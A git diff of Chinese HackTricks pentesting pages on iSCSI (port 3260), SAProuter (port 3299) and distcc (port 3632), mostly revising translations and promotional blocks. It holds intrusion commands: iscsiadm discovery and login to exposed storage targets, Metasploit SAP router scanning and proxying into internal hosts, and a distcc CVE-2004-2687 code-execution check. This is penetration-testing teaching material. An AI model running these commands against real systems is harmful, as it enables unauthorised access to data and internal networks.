学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# 3260 - ISCSI渗透测试
|
||||
# 3260 - Pentesting ISCSI
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
来自[Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
|
||||
来自 [维基百科](https://en.wikipedia.org/wiki/ISCSI):
|
||||
|
||||
> 在计算机领域,**iSCSI**是**Internet Small Computer Systems Interface**的缩写,是一种基于Internet协议(IP)的存储网络标准,用于连接数据存储设备。它通过在TCP/IP网络上传输SCSI命令来提供对存储设备的块级访问。iSCSI用于在企业内部进行数据传输,并用于远距离管理存储。它可用于在局域网(LAN)、广域网(WAN)或互联网上传输数据,并可实现独立于位置的数据存储和检索。
|
||||
> 在计算中,**iSCSI** 是 **互联网小型计算机系统接口** 的缩写,是一种基于互联网协议 (IP) 的存储网络标准,用于连接数据存储设施。它通过在 TCP/IP 网络上传输 SCSI 命令提供对存储设备的块级访问。iSCSI 用于促进通过内部网的数据传输,并管理远程存储。它可以用于在局域网 (LAN)、广域网 (WAN) 或互联网中传输数据,并可以实现位置无关的数据存储和检索。
|
||||
>
|
||||
> 该协议允许客户端(称为发起者)向远程服务器上的存储设备(目标)发送SCSI命令(CDBs)。它是一种存储区域网络(SAN)协议,允许组织将存储合并到存储阵列中,同时为客户端(如数据库和Web服务器)提供本地连接的SCSI磁盘的错觉。它主要与光纤通道竞争,但与通常需要专用布线的传统光纤通道不同,iSCSI可以通过现有网络基础设施在长距离上运行。
|
||||
> 该协议允许客户端(称为发起者)向远程服务器上的存储设备(目标)发送 SCSI 命令(CDB)。它是一种存储区域网络 (SAN) 协议,允许组织将存储整合到存储阵列中,同时为客户端(如数据库和 Web 服务器)提供本地附加 SCSI 磁盘的幻觉。它主要与光纤通道竞争,但与通常需要专用电缆的传统光纤通道不同,iSCSI 可以通过现有网络基础设施在长距离上运行。
|
||||
|
||||
**默认端口:** 3260
|
||||
```
|
||||
|
@ -37,55 +38,55 @@ nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
|||
|
||||
### [在Linux上挂载ISCSI](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||
|
||||
**注意:** 当您的目标被发现时,您可能会发现它们列在不同的IP地址下。如果iSCSI服务通过NAT或虚拟IP公开,则往往会发生这种情况。在这种情况下,`iscsiadmin` 将无法连接。这需要两个调整:一个是根据您的发现活动自动创建的节点目录名称,另一个是该目录中包含的 `default` 文件。
|
||||
**注意:** 你可能会发现,当发现目标时,它们在不同的IP地址下列出。如果iSCSI服务通过NAT或虚拟IP暴露,通常会发生这种情况。在这种情况下,`iscsiadmin`将无法连接。这需要两个调整:一个是由你的发现活动自动创建的节点的目录名称,另一个是该目录中包含的`default`文件。
|
||||
|
||||
例如,您正在尝试连接到位于123.123.123.123端口3260的iSCSI目标。公开iSCSI目标的服务器实际上位于192.168.1.2,但通过NAT公开。isciadm将注册_内部_地址而不是_公共_地址:
|
||||
例如,你正在尝试连接到位于123.123.123.123的3260端口的iSCSI目标。暴露iSCSI目标的服务器实际上位于192.168.1.2,但通过NAT暴露。isciadm将注册_内部_地址而不是_公共_地址:
|
||||
```
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
[...]
|
||||
```
|
||||
这个命令将在你的文件系统中创建一个类似这样的目录:
|
||||
此命令将在您的文件系统中创建一个目录,如下所示:
|
||||
```
|
||||
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
|
||||
```
|
||||
在目录中,有一个默认文件,其中包含连接到目标所需的所有设置。
|
||||
在该目录中,有一个默认文件,包含连接目标所需的所有设置。
|
||||
|
||||
1. 将`/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/`重命名为`/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
|
||||
2. 在`/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`中,将`node.conn[0].address`设置更改为指向123.123.123.123而不是192.168.1.2。可以使用类似`sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`的命令来完成此操作。
|
||||
1. 将 `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` 重命名为 `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
|
||||
2. 在 `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` 中,将 `node.conn[0].address` 设置更改为指向 123.123.123.123,而不是 192.168.1.2。这可以通过以下命令完成:`sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
||||
|
||||
现在,您可以按照链接中的说明挂载目标。
|
||||
您现在可以按照链接中的说明挂载目标。
|
||||
|
||||
### [在Windows上挂载 ISCSI](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
||||
### [在 Windows 上挂载 ISCSI](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
||||
|
||||
## **手动枚举**
|
||||
```bash
|
||||
sudo apt-get install open-iscsi
|
||||
```
|
||||
来自[iscsiadm文档](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
|
||||
示例来自 [iscsiadm docs](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
|
||||
|
||||
首先,您需要**发现**IP地址后面的目标名称:
|
||||
首先,您需要 **发现目标** 名称背后的 IP:
|
||||
```bash
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
|
||||
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
|
||||
```
|
||||
注意,它会显示您可以访问这些目标的接口的IP和端口。它甚至可以显示内部IP或与您使用的IP不同的IP。
|
||||
_注意,它将显示您可以**访问**这些**目标**的接口的I**P和端口**。它甚至可以**显示内部IP或与您使用的IP不同的IP**。_
|
||||
|
||||
然后,您捕获每行打印字符串的第二部分(从第一行的_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_开始),并尝试登录:
|
||||
然后您**捕获每行打印字符串的第二部分**(_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_来自第一行)并**尝试登录**:
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
|
||||
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
|
||||
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||
```
|
||||
然后,您可以使用 `–logout` 进行**注销**
|
||||
然后,您可以使用 `–logout` **注销**。
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
|
||||
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
|
||||
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||
```
|
||||
我们可以通过仅使用任何`--login`/`--logout`参数来找到更多关于它的信息。
|
||||
我们可以通过仅使用 **without** 任何 `--login`/`--logout` 参数找到 **more information**。
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
|
||||
# BEGIN RECORD 2.0-873
|
||||
|
@ -161,27 +162,28 @@ node.conn[0].iscsi.IFMarker = No
|
|||
node.conn[0].iscsi.OFMarker = No
|
||||
# END RECORD
|
||||
```
|
||||
**有一个用于自动化基本子网枚举过程的脚本可在** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm) **找到**
|
||||
**有一个脚本可以自动化基本的子网枚举过程,位于** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
|
||||
|
||||
## **Shodan**
|
||||
|
||||
* `port:3260 AuthMethod`
|
||||
|
||||
## **参考资料**
|
||||
## **参考文献**
|
||||
|
||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,37 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```text
|
||||
PORT STATE SERVICE VERSION
|
||||
3299/tcp open saprouter?
|
||||
```
|
||||
## 通过Metasploit理解SAProuter渗透
|
||||
这是来自 [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/) 的帖子摘要
|
||||
|
||||
SAProuter充当SAP系统的反向代理,主要用于控制互联网与内部SAP网络之间的访问。通常通过允许TCP端口3299穿过组织防火墙来将其暴露在互联网上。这种设置使SAProuter成为渗透测试的一个吸引人的目标,因为它可能作为通往高价值内部网络的网关。
|
||||
|
||||
## 使用 Metasploit 理解 SAProuter 渗透
|
||||
|
||||
SAProuter 充当 SAP 系统的反向代理,主要用于控制互联网与内部 SAP 网络之间的访问。它通常通过允许 TCP 端口 3299 通过组织防火墙而暴露于互联网。这种设置使 SAProuter 成为渗透测试的一个有吸引力的目标,因为它可能作为高价值内部网络的网关。
|
||||
|
||||
**扫描和信息收集**
|
||||
|
||||
首先,使用**sap_service_discovery**模块执行扫描,以确定给定IP上是否运行了SAP路由器。这一步对于建立SAP路由器及其开放端口的存在至关重要。
|
||||
最初,使用 **sap_service_discovery** 模块进行扫描,以确定给定 IP 上是否运行 SAP 路由器。此步骤对于确认 SAP 路由器及其开放端口的存在至关重要。
|
||||
```text
|
||||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||
msf auxiliary(sap_service_discovery) > run
|
||||
```
|
||||
在发现之后,使用 **sap_router_info_request** 模块对 SAP 路由器的配置进行进一步调查,可能会揭示内部网络细节。
|
||||
在发现之后,使用 **sap_router_info_request** 模块对 SAP 路由器的配置进行进一步调查,以可能揭示内部网络细节。
|
||||
```text
|
||||
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
||||
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
||||
|
@ -35,25 +39,27 @@ msf auxiliary(sap_router_info_request) > run
|
|||
```
|
||||
**枚举内部服务**
|
||||
|
||||
通过获得的内部网络洞察力,使用**sap_router_portscanner**模块来通过SAProuter探测内部主机和服务,从而更深入地了解内部网络和服务配置。
|
||||
通过获得的内部网络洞察,**sap_router_portscanner**模块用于通过SAProuter探测内部主机和服务,从而更深入地了解内部网络和服务配置。
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||
```
|
||||
该模块在针对特定SAP实例和端口方面的灵活性使其成为进行详细内部网络探索的有效工具。
|
||||
|
||||
**高级枚举和ACL映射**
|
||||
|
||||
进一步的扫描可以揭示SAProuter上的访问控制列表(ACL)配置情况,详细说明了允许或阻止的连接。这些信息对于理解安全策略和潜在漏洞至关重要。
|
||||
进一步扫描可以揭示SAProuter上访问控制列表(ACL)的配置,详细说明哪些连接被允许或阻止。这些信息对于理解安全策略和潜在漏洞至关重要。
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||
```
|
||||
**内部主机的盲枚举**
|
||||
**盲目枚举内部主机**
|
||||
|
||||
在直接从SAProuter获取信息受限的情况下,可以应用盲枚举等技术。这种方法尝试猜测和验证内部主机名的存在,揭示潜在目标而无需直接IP地址。
|
||||
在从SAProuter获取直接信息有限的情况下,可以应用盲目枚举等技术。这种方法尝试猜测并验证内部主机名的存在,揭示潜在目标而无需直接的IP地址。
|
||||
|
||||
**利用信息进行渗透测试**
|
||||
|
||||
在绘制网络图并确定可访问的服务后,渗透测试人员可以利用Metasploit的代理功能通过SAProuter进行进一步探索和利用内部SAP服务。
|
||||
在映射网络并识别可访问服务后,渗透测试人员可以利用Metasploit的代理功能,通过SAProuter进行进一步的探索和内部SAP服务的利用。
|
||||
```text
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||||
|
@ -61,12 +67,11 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
|||
```
|
||||
**结论**
|
||||
|
||||
这种方法强调了安全的SAProuter配置的重要性,并突出了通过有针对性的渗透测试访问内部网络的潜力。正确保护SAP路由器并了解它们在网络安全架构中的作用对于防止未经授权的访问至关重要。
|
||||
这种方法强调了安全配置SAProuter的重要性,并突出了通过有针对性的渗透测试访问内部网络的潜力。妥善保护SAP路由器并理解其在网络安全架构中的作用对于防止未经授权的访问至关重要。
|
||||
|
||||
要获取有关Metasploit模块及其用法的更详细信息,请访问[Rapid7的数据库](http://www.rapid7.com/db)。
|
||||
有关Metasploit模块及其使用的更多详细信息,请访问[Rapid7的数据库](http://www.rapid7.com/db)。
|
||||
|
||||
|
||||
## **参考资料**
|
||||
## **参考文献**
|
||||
|
||||
* [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
|
||||
|
@ -76,16 +81,17 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,58 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
**Distcc**是一种工具,通过利用网络中其他计算机的**空闲处理能力**来增强**编译过程**。当在一台机器上设置**distcc**时,该机器能够将其**编译任务**分发给另一台系统。接收系统必须运行**distccd守护程序**,并且必须安装有**兼容的编译器**以处理发送的代码。
|
||||
**Distcc** 是一种工具,通过利用网络中其他计算机的 **闲置处理能力** 来增强 **编译过程**。当 **distcc** 在一台机器上设置时,该机器能够将其 **编译任务** 分配给另一台系统。该接收系统必须运行 **distccd 守护进程**,并且必须安装 **兼容的编译器** 以处理发送的代码。
|
||||
|
||||
**默认端口:** 3632
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3632/tcp open distccd
|
||||
```
|
||||
# 漏洞利用
|
||||
# 利用
|
||||
|
||||
检查是否容易受到 **CVE-2004-2687** 漏洞的影响,以执行任意代码:
|
||||
检查它是否易受 **CVE-2004-2687** 的影响以执行任意代码:
|
||||
```bash
|
||||
msf5 > use exploit/unix/misc/distcc_exec
|
||||
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
|
||||
```
|
||||
# Shodan
|
||||
|
||||
_我认为shodan没有检测到这项服务。_
|
||||
_我认为 shodan 检测不到此服务。_
|
||||
|
||||
# 资源
|
||||
# Resources
|
||||
|
||||
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
|
||||
